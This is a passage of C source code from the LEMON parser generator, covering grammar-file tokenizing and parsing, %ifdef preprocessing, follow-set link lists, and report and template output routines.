char **declargslot; /* Where the declaration argument should be put */
int *decllnslot; /* Where the declaration linenumber is put */
enum e_assoc declassoc; /* Assign this association to decl arguments */
int preccounter; /* Assign this precedence to decl arguments */
struct rule *firstrule; /* Pointer to first rule in the grammar */
struct rule *lastrule; /* Pointer to the most recently parsed rule */
};
/* Parse a single token */
static void parseonetoken(psp)
struct pstate *psp;
{
char *x;
x = Strsafe(psp->tokenstart); /* Save the token permanently */
#if 0
printf("%s:%d: Token=[%s] state=%d\n",psp->filename,psp->tokenlineno,
x,psp->state);
#endif
switch( psp->state ){
case INITIALIZE:
psp->prevrule = 0;
psp->preccounter = 0;
psp->firstrule = psp->lastrule = 0;
psp->gp->nrule = 0;
/* Fall thru to next case */
case WAITING_FOR_DECL_OR_RULE:
if( x[0]=='%' ){
psp->state = WAITING_FOR_DECL_KEYWORD;
}else if( islower(x[0]) ){
psp->lhs = Symbol_new(x);
psp->nrhs = 0;
psp->lhsalias = 0;
psp->state = WAITING_FOR_ARROW;
}else if( x[0]=='{' ){
if( psp->prevrule==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"There is not prior rule opon which to attach the code \
fragment which begins on this line.");
psp->errorcnt++;
}else if( psp->prevrule->code!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Code fragment beginning on this line is not the first \
to follow the previous rule.");
psp->errorcnt++;
}else{
psp->prevrule->line = psp->tokenlineno;
psp->prevrule->code = &x[1];
}
}else if( x[0]=='[' ){
psp->state = PRECEDENCE_MARK_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Token \"%s\" should be either \"%%\" or a nonterminal name.",
x);
psp->errorcnt++;
}
break;
case PRECEDENCE_MARK_1:
if( !isupper(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"The precedence symbol must be a terminal.");
psp->errorcnt++;
}else if( psp->prevrule==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"There is no prior rule to assign precedence \"[%s]\".",x);
psp->errorcnt++;
}else if( psp->prevrule->precsym!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Precedence mark on this line is not the first \
to follow the previous rule.");
psp->errorcnt++;
}else{
psp->prevrule->precsym = Symbol_new(x);
}
psp->state = PRECEDENCE_MARK_2;
break;
case PRECEDENCE_MARK_2:
if( x[0]!=']' ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \"]\" on precedence mark.");
psp->errorcnt++;
}
psp->state = WAITING_FOR_DECL_OR_RULE;
break;
case WAITING_FOR_ARROW:
if( x[0]==':' && x[1]==':' && x[2]=='=' ){
psp->state = IN_RHS;
}else if( x[0]=='(' ){
psp->state = LHS_ALIAS_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Expected to see a \":\" following the LHS symbol \"%s\".",
psp->lhs->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_1:
if( isalpha(x[0]) ){
psp->lhsalias = x;
psp->state = LHS_ALIAS_2;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"\"%s\" is not a valid alias for the LHS \"%s\"\n",
x,psp->lhs->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_2:
if( x[0]==')' ){
psp->state = LHS_ALIAS_3;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \")\" following LHS alias name \"%s\".",psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_3:
if( x[0]==':' && x[1]==':' && x[2]=='=' ){
psp->state = IN_RHS;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \"->\" following: \"%s(%s)\".",
psp->lhs->name,psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case IN_RHS:
if( x[0]=='.' ){
struct rule *rp;
rp = (struct rule *)malloc( sizeof(struct rule) +
sizeof(struct symbol*)*psp->nrhs + sizeof(char*)*psp->nrhs );
if( rp==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Can't allocate enough memory for this rule.");
psp->errorcnt++;
psp->prevrule = 0;
}else{
int i;
rp->ruleline = psp->tokenlineno;
rp->rhs = (struct symbol**)&rp[1];
rp->rhsalias = (char**)&(rp->rhs[psp->nrhs]);
for(i=0; i<psp->nrhs; i++){
rp->rhs[i] = psp->rhs[i];
rp->rhsalias[i] = psp->alias[i];
}
rp->lhs = psp->lhs;
rp->lhsalias = psp->lhsalias;
rp->nrhs = psp->nrhs;
rp->code = 0;
rp->precsym = 0;
rp->index = psp->gp->nrule++;
rp->nextlhs = rp->lhs->rule;
rp->lhs->rule = rp;
rp->next = 0;
if( psp->firstrule==0 ){
psp->firstrule = psp->lastrule = rp;
}else{
psp->lastrule->next = rp;
psp->lastrule = rp;
}
psp->prevrule = rp;
}
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( isalpha(x[0]) ){
if( psp->nrhs>=MAXRHS ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Too many symbol on RHS or rule beginning at \"%s\".",
x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}else{
psp->rhs[psp->nrhs] = Symbol_new(x);
psp->alias[psp->nrhs] = 0;
psp->nrhs++;
}
}else if( x[0]=='(' && psp->nrhs>0 ){
psp->state = RHS_ALIAS_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal character on RHS of rule: \"%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case RHS_ALIAS_1:
if( isalpha(x[0]) ){
psp->alias[psp->nrhs-1] = x;
psp->state = RHS_ALIAS_2;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"\"%s\" is not a valid alias for the RHS symbol \"%s\"\n",
x,psp->rhs[psp->nrhs-1]->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case RHS_ALIAS_2:
if( x[0]==')' ){
psp->state = IN_RHS;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \")\" following LHS alias name \"%s\".",psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case WAITING_FOR_DECL_KEYWORD:
if( isalpha(x[0]) ){
psp->declkeyword = x;
psp->declargslot = 0;
psp->decllnslot = 0;
psp->state = WAITING_FOR_DECL_ARG;
if( strcmp(x,"name")==0 ){
psp->declargslot = &(psp->gp->name);
}else if( strcmp(x,"include")==0 ){
psp->declargslot = &(psp->gp->include);
psp->decllnslot = &psp->gp->includeln;
}else if( strcmp(x,"code")==0 ){
psp->declargslot = &(psp->gp->extracode);
psp->decllnslot = &psp->gp->extracodeln;
}else if( strcmp(x,"token_destructor")==0 ){
psp->declargslot = &psp->gp->tokendest;
psp->decllnslot = &psp->gp->tokendestln;
}else if( strcmp(x,"default_destructor")==0 ){
psp->declargslot = &psp->gp->vardest;
psp->decllnslot = &psp->gp->vardestln;
}else if( strcmp(x,"token_prefix")==0 ){
psp->declargslot = &psp->gp->tokenprefix;
}else if( strcmp(x,"syntax_error")==0 ){
psp->declargslot = &(psp->gp->error);
psp->decllnslot = &psp->gp->errorln;
}else if( strcmp(x,"parse_accept")==0 ){
psp->declargslot = &(psp->gp->accept);
psp->decllnslot = &psp->gp->acceptln;
}else if( strcmp(x,"parse_failure")==0 ){
psp->declargslot = &(psp->gp->failure);
psp->decllnslot = &psp->gp->failureln;
}else if( strcmp(x,"stack_overflow")==0 ){
psp->declargslot = &(psp->gp->overflow);
psp->decllnslot = &psp->gp->overflowln;
}else if( strcmp(x,"extra_argument")==0 ){
psp->declargslot = &(psp->gp->arg);
}else if( strcmp(x,"token_type")==0 ){
psp->declargslot = &(psp->gp->tokentype);
}else if( strcmp(x,"default_type")==0 ){
psp->declargslot = &(psp->gp->vartype);
}else if( strcmp(x,"stack_size")==0 ){
psp->declargslot = &(psp->gp->stacksize);
}else if( strcmp(x,"start_symbol")==0 ){
psp->declargslot = &(psp->gp->start);
}else if( strcmp(x,"left")==0 ){
psp->preccounter++;
psp->declassoc = LEFT;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"right")==0 ){
psp->preccounter++;
psp->declassoc = RIGHT;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"nonassoc")==0 ){
psp->preccounter++;
psp->declassoc = NONE;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"destructor")==0 ){
psp->state = WAITING_FOR_DESTRUCTOR_SYMBOL;
}else if( strcmp(x,"type")==0 ){
psp->state = WAITING_FOR_DATATYPE_SYMBOL;
}else if( strcmp(x,"fallback")==0 ){
psp->fallback = 0;
psp->state = WAITING_FOR_FALLBACK_ID;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Unknown declaration keyword: \"%%%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal declaration keyword: \"%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
break;
case WAITING_FOR_DESTRUCTOR_SYMBOL:
if( !isalpha(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol name missing after %destructor keyword");
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
struct symbol *sp = Symbol_new(x);
psp->declargslot = &sp->destructor;
psp->decllnslot = &sp->destructorln;
psp->state = WAITING_FOR_DECL_ARG;
}
break;
case WAITING_FOR_DATATYPE_SYMBOL:
if( !isalpha(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol name missing after %destructor keyword");
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
struct symbol *sp = Symbol_new(x);
psp->declargslot = &sp->datatype;
psp->decllnslot = 0;
psp->state = WAITING_FOR_DECL_ARG;
}
break;
case WAITING_FOR_PRECEDENCE_SYMBOL:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( isupper(x[0]) ){
struct symbol *sp;
sp = Symbol_new(x);
if( sp->prec>=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol \"%s\" has already be given a precedence.",x);
psp->errorcnt++;
}else{
sp->prec = psp->preccounter;
sp->assoc = psp->declassoc;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Can't assign a precedence to \"%s\".",x);
psp->errorcnt++;
}
break;
case WAITING_FOR_DECL_ARG:
if( (x[0]=='{' || x[0]=='\"' || isalnum(x[0])) ){
if( *(psp->declargslot)!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"The argument \"%s\" to declaration \"%%%s\" is not the first.",
x[0]=='\"' ? &x[1] : x,psp->declkeyword);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
*(psp->declargslot) = (x[0]=='\"' || x[0]=='{') ? &x[1] : x;
if( psp->decllnslot ) *psp->decllnslot = psp->tokenlineno;
psp->state = WAITING_FOR_DECL_OR_RULE;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal argument to %%%s: %s",psp->declkeyword,x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
break;
case WAITING_FOR_FALLBACK_ID:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( !isupper(x[0]) ){
ErrorMsg(psp->filename, psp->tokenlineno,
"%%fallback argument \"%s\" should be a token", x);
psp->errorcnt++;
}else{
struct symbol *sp = Symbol_new(x);
if( psp->fallback==0 ){
psp->fallback = sp;
}else if( sp->fallback ){
ErrorMsg(psp->filename, psp->tokenlineno,
"More than one fallback assigned to token %s", x);
psp->errorcnt++;
}else{
sp->fallback = psp->fallback;
psp->gp->has_fallback = 1;
}
}
break;
case RESYNC_AFTER_RULE_ERROR:
/* if( x[0]=='.' ) psp->state = WAITING_FOR_DECL_OR_RULE;
** break; */
case RESYNC_AFTER_DECL_ERROR:
if( x[0]=='.' ) psp->state = WAITING_FOR_DECL_OR_RULE;
if( x[0]=='%' ) psp->state = WAITING_FOR_DECL_KEYWORD;
break;
}
}
/* Run the proprocessor over the input file text. The global variables
** azDefine[0] through azDefine[nDefine-1] contains the names of all defined
** macros. This routine looks for "%ifdef" and "%ifndef" and "%endif" and
** comments them out. Text in between is also commented out as appropriate.
*/
static preprocess_input(char *z){
int i, j, k, n;
int exclude = 0;
int start;
int lineno = 1;
int start_lineno;
for(i=0; z[i]; i++){
if( z[i]=='\n' ) lineno++;
if( z[i]!='%' || (i>0 && z[i-1]!='\n') ) continue;
if( strncmp(&z[i],"%endif",6)==0 && isspace(z[i+6]) ){
if( exclude ){
exclude--;
if( exclude==0 ){
for(j=start; j<i; j++) if( z[j]!='\n' ) z[j] = ' ';
}
}
for(j=i; z[j] && z[j]!='\n'; j++) z[j] = ' ';
}else if( (strncmp(&z[i],"%ifdef",6)==0 && isspace(z[i+6]))
|| (strncmp(&z[i],"%ifndef",7)==0 && isspace(z[i+7])) ){
if( exclude ){
exclude++;
}else{
for(j=i+7; isspace(z[j]); j++){}
for(n=0; z[j+n] && !isspace(z[j+n]); n++){}
exclude = 1;
for(k=0; k<nDefine; k++){
if( strncmp(azDefine[k],&z[j],n)==0 && strlen(azDefine[k])==n ){
exclude = 0;
break;
}
}
if( z[i+3]=='n' ) exclude = !exclude;
if( exclude ){
start = i;
start_lineno = lineno;
}
}
for(j=i; z[j] && z[j]!='\n'; j++) z[j] = ' ';
}
}
if( exclude ){
fprintf(stderr,"unterminated %%ifdef starting on line %d\n", start_lineno);
exit(1);
}
}
/* In spite of its name, this function is really a scanner. It read
** in the entire input file (all at once) then tokenizes it. Each
** token is passed to the function "parseonetoken" which builds all
** the appropriate data structures in the global state vector "gp".
*/
void Parse(gp)
struct lemon *gp;
{
struct pstate ps;
FILE *fp;
char *filebuf;
int filesize;
int lineno;
int c;
char *cp, *nextcp;
int startline = 0;
ps.gp = gp;
ps.filename = gp->filename;
ps.errorcnt = 0;
ps.state = INITIALIZE;
/* Begin by reading the input file */
fp = fopen(ps.filename,"rb");
if( fp==0 ){
ErrorMsg(ps.filename,0,"Can't open this file for reading.");
gp->errorcnt++;
return;
}
fseek(fp,0,2);
filesize = ftell(fp);
rewind(fp);
filebuf = (char *)malloc( filesize+1 );
if( filebuf==0 ){
ErrorMsg(ps.filename,0,"Can't allocate %d of memory to hold this file.",
filesize+1);
gp->errorcnt++;
return;
}
if( fread(filebuf,1,filesize,fp)!=filesize ){
ErrorMsg(ps.filename,0,"Can't read in all %d bytes of this file.",
filesize);
free(filebuf);
gp->errorcnt++;
return;
}
fclose(fp);
filebuf[filesize] = 0;
/* Make an initial pass through the file to handle %ifdef and %ifndef */
preprocess_input(filebuf);
/* Now scan the text of the input file */
lineno = 1;
for(cp=filebuf; (c= *cp)!=0; ){
if( c=='\n' ) lineno++; /* Keep track of the line number */
if( isspace(c) ){ cp++; continue; } /* Skip all white space */
if( c=='/' && cp[1]=='/' ){ /* Skip C++ style comments */
cp+=2;
while( (c= *cp)!=0 && c!='\n' ) cp++;
continue;
}
if( c=='/' && cp[1]=='*' ){ /* Skip C style comments */
cp+=2;
while( (c= *cp)!=0 && (c!='/' || cp[-1]!='*') ){
if( c=='\n' ) lineno++;
cp++;
}
if( c ) cp++;
continue;
}
ps.tokenstart = cp; /* Mark the beginning of the token */
ps.tokenlineno = lineno; /* Linenumber on which token begins */
if( c=='\"' ){ /* String literals */
cp++;
while( (c= *cp)!=0 && c!='\"' ){
if( c=='\n' ) lineno++;
cp++;
}
if( c==0 ){
ErrorMsg(ps.filename,startline,
"String starting on this line is not terminated before the end of the file.");
ps.errorcnt++;
nextcp = cp;
}else{
nextcp = cp+1;
}
}else if( c=='{' ){ /* A block of C code */
int level;
cp++;
for(level=1; (c= *cp)!=0 && (level>1 || c!='}'); cp++){
if( c=='\n' ) lineno++;
else if( c=='{' ) level++;
else if( c=='}' ) level--;
else if( c=='/' && cp[1]=='*' ){ /* Skip comments */
int prevc;
cp = &cp[2];
prevc = 0;
while( (c= *cp)!=0 && (c!='/' || prevc!='*') ){
if( c=='\n' ) lineno++;
prevc = c;
cp++;
}
}else if( c=='/' && cp[1]=='/' ){ /* Skip C++ style comments too */
cp = &cp[2];
while( (c= *cp)!=0 && c!='\n' ) cp++;
if( c ) lineno++;
}else if( c=='\'' || c=='\"' ){ /* String a character literals */
int startchar, prevc;
startchar = c;
prevc = 0;
for(cp++; (c= *cp)!=0 && (c!=startchar || prevc=='\\'); cp++){
if( c=='\n' ) lineno++;
if( prevc=='\\' ) prevc = 0;
else prevc = c;
}
}
}
if( c==0 ){
ErrorMsg(ps.filename,ps.tokenlineno,
"C code starting on this line is not terminated before the end of the file.");
ps.errorcnt++;
nextcp = cp;
}else{
nextcp = cp+1;
}
}else if( isalnum(c) ){ /* Identifiers */
while( (c= *cp)!=0 && (isalnum(c) || c=='_') ) cp++;
nextcp = cp;
}else if( c==':' && cp[1]==':' && cp[2]=='=' ){ /* The operator "::=" */
cp += 3;
nextcp = cp;
}else{ /* All other (one character) operators */
cp++;
nextcp = cp;
}
c = *cp;
*cp = 0; /* Null terminate the token */
parseonetoken(&ps); /* Parse the token */
*cp = c; /* Restore the buffer */
cp = nextcp;
}
free(filebuf); /* Release the buffer after parsing */
gp->rule = ps.firstrule;
gp->errorcnt = ps.errorcnt;
}
/*************************** From the file "plink.c" *********************/
/*
** Routines processing configuration follow-set propagation links
** in the LEMON parser generator.
*/
static struct plink *plink_freelist = 0;
/* Allocate a new plink */
struct plink *Plink_new(){
struct plink *new;
if( plink_freelist==0 ){
int i;
int amt = 100;
plink_freelist = (struct plink *)malloc( sizeof(struct plink)*amt );
if( plink_freelist==0 ){
fprintf(stderr,
"Unable to allocate memory for a new follow-set propagation link.\n");
exit(1);
}
for(i=0; i<amt-1; i++) plink_freelist[i].next = &plink_freelist[i+1];
plink_freelist[amt-1].next = 0;
}
new = plink_freelist;
plink_freelist = plink_freelist->next;
return new;
}
/* Add a plink to a plink list */
void Plink_add(plpp,cfp)
struct plink **plpp;
struct config *cfp;
{
struct plink *new;
new = Plink_new();
new->next = *plpp;
*plpp = new;
new->cfp = cfp;
}
/* Transfer every plink on the list "from" to the list "to" */
void Plink_copy(to,from)
struct plink **to;
struct plink *from;
{
struct plink *nextpl;
while( from ){
nextpl = from->next;
from->next = *to;
*to = from;
from = nextpl;
}
}
/* Delete every plink on the list */
void Plink_delete(plp)
struct plink *plp;
{
struct plink *nextpl;
while( plp ){
nextpl = plp->next;
plp->next = plink_freelist;
plink_freelist = plp;
plp = nextpl;
}
}
/*********************** From the file "report.c" **************************/
/*
** Procedures for generating reports and tables in the LEMON parser generator.
*/
/* Generate a filename with the given suffix. Space to hold the
** name comes from malloc() and must be freed by the calling
** function.
*/
PRIVATE char *file_makename(lemp,suffix)
struct lemon *lemp;
char *suffix;
{
char *name;
char *cp;
name = malloc( strlen(lemp->filename) + strlen(suffix) + 5 );
if( name==0 ){
fprintf(stderr,"Can't allocate space for a filename.\n");
exit(1);
}
strcpy(name,lemp->filename);
cp = strrchr(name,'.');
if( cp ) *cp = 0;
strcat(name,suffix);
return name;
}
/* Open a file with a name based on the name of the input file,
** but with a different (specified) suffix, and return a pointer
** to the stream */
PRIVATE FILE *file_open(lemp,suffix,mode)
struct lemon *lemp;
char *suffix;
char *mode;
{
FILE *fp;
if( lemp->outname ) free(lemp->outname);
lemp->outname = file_makename(lemp, suffix);
fp = fopen(lemp->outname,mode);
if( fp==0 && *mode=='w' ){
fprintf(stderr,"Can't open file \"%s\".\n",lemp->outname);
lemp->errorcnt++;
return 0;
}
return fp;
}
/* Duplicate the input file without comments and without actions
** on rules */
void Reprint(lemp)
struct lemon *lemp;
{
struct rule *rp;
struct symbol *sp;
int i, j, maxlen, len, ncolumns, skip;
printf("// Reprint of input file \"%s\".\n// Symbols:\n",lemp->filename);
maxlen = 10;
for(i=0; i<lemp->nsymbol; i++){
sp = lemp->symbols[i];
len = strlen(sp->name);
if( len>maxlen ) maxlen = len;
}
ncolumns = 76/(maxlen+5);
if( ncolumns<1 ) ncolumns = 1;
skip = (lemp->nsymbol + ncolumns - 1)/ncolumns;
for(i=0; i<skip; i++){
printf("//");
for(j=i; j<lemp->nsymbol; j+=skip){
sp = lemp->symbols[j];
assert( sp->index==j );
printf(" %3d %-*.*s",j,maxlen,maxlen,sp->name);
}
printf("\n");
}
for(rp=lemp->rule; rp; rp=rp->next){
printf("%s",rp->lhs->name);
/* if( rp->lhsalias ) printf("(%s)",rp->lhsalias); */
printf(" ::=");
for(i=0; i<rp->nrhs; i++){
printf(" %s",rp->rhs[i]->name);
/* if( rp->rhsalias[i] ) printf("(%s)",rp->rhsalias[i]); */
}
printf(".");
if( rp->precsym ) printf(" [%s]",rp->precsym->name);
/* if( rp->code ) printf("\n %s",rp->code); */
printf("\n");
}
}
void ConfigPrint(fp,cfp)
FILE *fp;
struct config *cfp;
{
struct rule *rp;
int i;
rp = cfp->rp;
fprintf(fp,"%s ::=",rp->lhs->name);
for(i=0; i<=rp->nrhs; i++){
if( i==cfp->dot ) fprintf(fp," *");
if( i==rp->nrhs ) break;
fprintf(fp," %s",rp->rhs[i]->name);
}
}
/* #define TEST */
#ifdef TEST
/* Print a set */
PRIVATE void SetPrint(out,set,lemp)
FILE *out;
char *set;
struct lemon *lemp;
{
int i;
char *spacer;
spacer = "";
fprintf(out,"%12s[","");
for(i=0; i<lemp->nterminal; i++){
if( SetFind(set,i) ){
fprintf(out,"%s%s",spacer,lemp->symbols[i]->name);
spacer = " ";
}
}
fprintf(out,"]\n");
}
/* Print a plink chain */
PRIVATE void PlinkPrint(out,plp,tag)
FILE *out;
struct plink *plp;
char *tag;
{
while( plp ){
fprintf(out,"%12s%s (state %2d) ","",tag,plp->cfp->stp->index);
ConfigPrint(out,plp->cfp);
fprintf(out,"\n");
plp = plp->next;
}
}
#endif
/* Print an action to the given file descriptor. Return FALSE if
** nothing was actually printed.
*/
int PrintAction(struct action *ap, FILE *fp, int indent){
int result = 1;
switch( ap->type ){
case SHIFT:
fprintf(fp,"%*s shift %d",indent,ap->sp->name,ap->x.stp->index);
break;
case REDUCE:
fprintf(fp,"%*s reduce %d",indent,ap->sp->name,ap->x.rp->index);
break;
case ACCEPT:
fprintf(fp,"%*s accept",indent,ap->sp->name);
break;
case ERROR:
fprintf(fp,"%*s error",indent,ap->sp->name);
break;
case CONFLICT:
fprintf(fp,"%*s reduce %-3d ** Parsing conflict **",
indent,ap->sp->name,ap->x.rp->index);
break;
case SH_RESOLVED:
case RD_RESOLVED:
case NOT_USED:
result = 0;
break;
}
return result;
}
/* Generate the "y.output" log file */
void ReportOutput(lemp)
struct lemon *lemp;
{
int i;
struct state *stp;
struct config *cfp;
struct action *ap;
FILE *fp;
fp = file_open(lemp,".out","w");
if( fp==0 ) return;
fprintf(fp," \b");
for(i=0; i<lemp->nstate; i++){
stp = lemp->sorted[i];
fprintf(fp,"State %d:\n",stp->index);
if( lemp->basisflag ) cfp=stp->bp;
else cfp=stp->cfp;
while( cfp ){
char buf[20];
if( cfp->dot==cfp->rp->nrhs ){
sprintf(buf,"(%d)",cfp->rp->index);
fprintf(fp," %5s ",buf);
}else{
fprintf(fp," ");
}
ConfigPrint(fp,cfp);
fprintf(fp,"\n");
#ifdef TEST
SetPrint(fp,cfp->fws,lemp);
PlinkPrint(fp,cfp->fplp,"To ");
PlinkPrint(fp,cfp->bplp,"From");
#endif
if( lemp->basisflag ) cfp=cfp->bp;
else cfp=cfp->next;
}
fprintf(fp,"\n");
for(ap=stp->ap; ap; ap=ap->next){
if( PrintAction(ap,fp,30) ) fprintf(fp,"\n");
}
fprintf(fp,"\n");
}
fclose(fp);
return;
}
/* Search for the file "name" which is in the same directory as
** the exacutable */
PRIVATE char *pathsearch(argv0,name,modemask)
char *argv0;
char *name;
int modemask;
{
char *pathlist;
char *path,*cp;
char c;
extern int access();
#ifdef __WIN32__
cp = strrchr(argv0,'\\');
#else
cp = strrchr(argv0,'/');
#endif
if( cp ){
c = *cp;
*cp = 0;
path = (char *)malloc( strlen(argv0) + strlen(name) + 2 );
if( path ) sprintf(path,"%s/%s",argv0,name);
*cp = c;
}else{
extern char *getenv();
pathlist = getenv("PATH");
if( pathlist==0 ) pathlist = ".:/bin:/usr/bin";
path = (char *)malloc( strlen(pathlist)+strlen(name)+2 );
if( path!=0 ){
while( *pathlist ){
cp = strchr(pathlist,':');
if( cp==0 ) cp = &pathlist[strlen(pathlist)];
c = *cp;
*cp = 0;
sprintf(path,"%s/%s",pathlist,name);
*cp = c;
if( c==0 ) pathlist = "";
else pathlist = &cp[1];
if( access(path,modemask)==0 ) break;
}
}
}
return path;
}
/* Given an action, compute the integer value for that action
** which is to be put in the action table of the generated machine.
** Return negative if no action should be generated.
*/
PRIVATE int compute_action(lemp,ap)
struct lemon *lemp;
struct action *ap;
{
int act;
switch( ap->type ){
case SHIFT: act = ap->x.stp->index; break;
case REDUCE: act = ap->x.rp->index + lemp->nstate; break;
case ERROR: act = lemp->nstate + lemp->nrule; break;
case ACCEPT: act = lemp->nstate + lemp->nrule + 1; break;
default: act = -1; break;
}
return act;
}
#define LINESIZE 1000
/* The next cluster of routines are for reading the template file
** and writing the results to the generated parser */
/* The first function transfers data from "in" to "out" until
** a line is seen which begins with "%%". The line number is
** tracked.
**
** if name!=0, then any word that begin with "Parse" is changed to
** begin with *name instead.
*/
PRIVATE void tplt_xfer(name,in,out,lineno)
char *name;
FILE *in;
FILE *out;
int *lineno;
{
int i, iStart;
char line[LINESIZE];
while( fgets(line,LINESIZE,in) && (line[0]!='%' || line[1]!='%') ){
(*lineno)++;
iStart = 0;
if( name ){
for(i=0; line[i]; i++){
if( line[i]=='P' && strncmp(&line[i],"Parse",5)==0
&& (i==0 || !isalpha(line[i-1]))
){
if( i>iStart ) fprintf(out,"%.*s",i-iStart,&line[iStart]);
fprintf(out,"%s",name);
i += 4;
iStart = i+1;
}
}
}
fprintf(out,"%s",&line[iStart]);
}
}
/* The next function finds the template file and opens it, returning
** a pointer to the opened file. */
PRIVATE FILE *tplt_open(lemp)
struct lemon *lemp;
{
static char templatename[] = "lempar.c";
char buf[1000];
FILE *in;
char *tpltname;
char *cp;
cp = strrchr(lemp->filename,'.');
if( cp ){
sprintf(buf,"%.*s.lt",(int)(cp-lemp->filename),lemp->filename);
}else{
sprintf(buf,"%s.lt",lemp->filename);
}
if( access(buf,004)==0 ){
tpltname = buf;
}else if( access(templatename,004)==0 ){
tpltname = templatename;
}else{
tpltname = pathsearch(lemp->argv0,templatename,0);
}
if( tpltname==0 ){
fprintf(stderr,"Can't find the parser driver template file \"%s\".\n",
templatename);
lemp->errorcnt++;
return 0;
}
in = fopen(tpltname,"r");
if( in==0 ){
fprintf(stderr,"Can't open the template file \"%s\".\n",templatename);
lemp->errorcnt++;
return 0;
}
return in;
}
/* Print a string to the file and keep the linenumber up to date */
PRIVATE void tplt_print(out,lemp,str,strln,lineno)
FILE *out;
struct lemon *lemp;
char *str;
int strln;
int *lineno;
{
if( str==0 ) return;
fprintf(out,"#line %d \"%s\"\n",strln,lemp->filename); (*lineno)++;
while( *str ){
if( *str=='\n' ) (*lineno)++;
putc(*str,out);
str++;
}
fprintf(out,"\n#line %d \"%s\"\n",*lineno+2,lemp->outname); (*lineno)+=2;
return;
}
/*
** The following routine emits code for the destructor for the
** symbol sp
*/
void emit_destructor_code(out,sp,lemp,lineno)
FILE *out;
struct symbol *sp;
struct lemon *lemp;
int *lineno;
{
char *cp = 0;
int linecnt = 0;
if( sp->type==TERMINAL ){
cp = lemp->tokendest;
if( cp==0 ) return;
fprintf(out,"#line %d \"%s\"\n{",lemp->tokendestln,lemp->filename);
}else if( sp->destructor ){
cp = sp->destructor;
fprintf(out,"#line %d \"%s\"\n{",sp->destructorln,lemp->filename);
}else if( lemp->vardest ){
cp = lemp->vardest;
if( cp==0 ) return;
fprintf(out,"#line %d \"%s\"\n{",lemp->vardestln,lemp->filename);
}else{
assert( 0 ); /* Cannot happen */
}
for(; *cp; cp++){
if( *cp=='$' && cp[1]=='$' ){
fprintf(out,"(yypminor->yy%d)",sp->dtnum);
cp++;
continue;
}
if( *cp=='\n' ) linecnt++;
fputc(*cp,out);
}
(*lineno) += 3 + linecnt;
fprintf(out,"}\n#line %d \"%s\"\n",*lineno,lemp->outname);
return;
}
/*
** Return TRUE (non-zero) if the given symbol has a destructor.
*/
int has_destructor(sp, lemp)
struct symbol *sp;
struct lemon *lemp;
{
int ret;
if( sp->type==TERMINAL ){
ret = lemp->tokendest!=0;
}else{
ret = lemp->vardest!=0 || sp->destructor!=0;
}
return ret;
}
/*
** Append text to a dynamically allocated string. If zText is 0 then
** reset the string to be empty again. Always return the complete text
** of the string (which is overwritten with each call).
**
** n bytes of zText are stored. If n==0 then all of zText up to the first
** \000 terminator is stored. zText can contain up to two instances of
** %d. The values of p1 and p2 are written into the first and second
** %d.
**
** If n==-1, then the previous character is overwritten.
*/
PRIVATE char *append_str(char *zText, int n, int p1, int p2){
static char *z = 0;
static int alloced = 0;
static int used = 0;
int i, c;
char zInt[40];
if( zText==0 ){
used = 0;
return z;
}
if( n<=0 ){
if( n<0 ){
used += n;
assert( used>=0 );
}
n = strlen(zText);
}
if( n+sizeof(zInt)*2+used >= alloced ){
alloced = n + sizeof(zInt)*2 + used + 200;
z = realloc(z, alloced);
}
if( z==0 ) return "";
while( n-- > 0 ){
c = *(zText++);
if( c=='%' && zText[0]=='d' ){
